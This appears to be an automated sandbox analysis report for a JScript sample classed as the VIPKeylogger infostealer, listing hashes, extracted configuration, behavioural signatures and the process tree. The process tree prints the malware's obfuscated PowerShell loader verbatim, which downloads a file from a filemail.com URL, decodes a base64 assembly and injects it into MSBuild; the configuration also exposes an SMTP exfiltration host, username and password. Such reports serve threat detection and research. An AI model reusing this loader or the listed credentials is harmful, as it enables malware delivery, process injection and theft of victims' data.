Analysis
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max time kernel
112s -
max time network
205s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
27/02/2025, 11:23
Static task
static1
Behavioral task
behavioral1
Sample
1092817034_DCTAZ100_2025_23176136_1.jse
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
1092817034_DCTAZ100_2025_23176136_1.jse
Resource
win10v2004-20250217-en
General
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Target
1092817034_DCTAZ100_2025_23176136_1.jse
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Size
309KB
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MD5
d97ac5a9ac461d2137606480b79db1c4
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SHA1
dda801ef5e48dd7510e7cb8380f316d7a7147265
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SHA256
98c41f03c8e8c2b2246014f1cb0a49b2b71afc60c0e83ed33e5ad4e783418703
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SHA512
283b076b0ca30bee97e1da8d87460bc6668533608c26370325a0273070bce38165ce2be3eb75662eaa85b6176076fc1fc6f15c2970006d2bc817e714c5735638
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SSDEEP
3072:5vJ5HovJ5HovJ5HovJ5H7vJ5HovJ5HovJ5HovJ5H4vJ5HovJ5HovJ5HovJ5HuGnG:L4BL
Malware Config
Extracted
https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef
https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef
Extracted
vipkeylogger
Protocol: smtp- Host:
192.3.16.77 - Port:
587 - Username:
[email protected] - Password:
matrix@4reges - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 2140 powershell.exe 29 2140 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe -
pid Process 2140 powershell.exe -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 33 reallyfreegeoip.org 34 reallyfreegeoip.org 31 checkip.dyndns.org -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2140 set thread context of 2324 2140 powershell.exe 93 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2140 powershell.exe 2140 powershell.exe 2324 MSBuild.exe 2324 MSBuild.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2140 powershell.exe Token: SeDebugPrivilege 2324 MSBuild.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4800 wrote to memory of 2140 4800 WScript.exe 84 PID 4800 wrote to memory of 2140 4800 WScript.exe 84 PID 2140 wrote to memory of 2324 2140 powershell.exe 93 PID 2140 wrote to memory of 2324 2140 powershell.exe 93 PID 2140 wrote to memory of 2324 2140 powershell.exe 93 PID 2140 wrote to memory of 2324 2140 powershell.exe 93 PID 2140 wrote to memory of 2324 2140 powershell.exe 93 PID 2140 wrote to memory of 2324 2140 powershell.exe 93 PID 2140 wrote to memory of 2324 2140 powershell.exe 93 PID 2140 wrote to memory of 2324 2140 powershell.exe 93 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe
Processes
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C:\Windows\System32\WScript.exeC:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Temp\1092817034_DCTAZ100_2025_23176136_1.jse"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$nahcolite = '#x#.0fc/d1/moc.as.pps//:sp##h';$brandwine = $nahcolite -replace '#', 't';$overripeness = 'https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef';$oversubscribing = New-Object System.Net.WebClient;$Catapres = $oversubscribing.DownloadData($overripeness);$straped = [System.Text.Encoding]::UTF8.GetString($Catapres);$ribeyes = '<<BASE64_START>>';$alcanna = '<<BASE64_END>>';$incensory = $straped.IndexOf($ribeyes);$flitterchack = $straped.IndexOf($alcanna);$incensory -ge 0 -and $flitterchack -gt $incensory;$incensory += $ribeyes.Length;$smolt = $flitterchack - $incensory;$tenotome = $straped.Substring($incensory, $smolt);$medallion = [System.Convert]::FromBase64String($tenotome);$JITEM = [System.Reflection.Assembly]::Load($medallion);$performic = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($brandwine,'','','','MSBuild','','','','','','','','','',''))"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2324
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82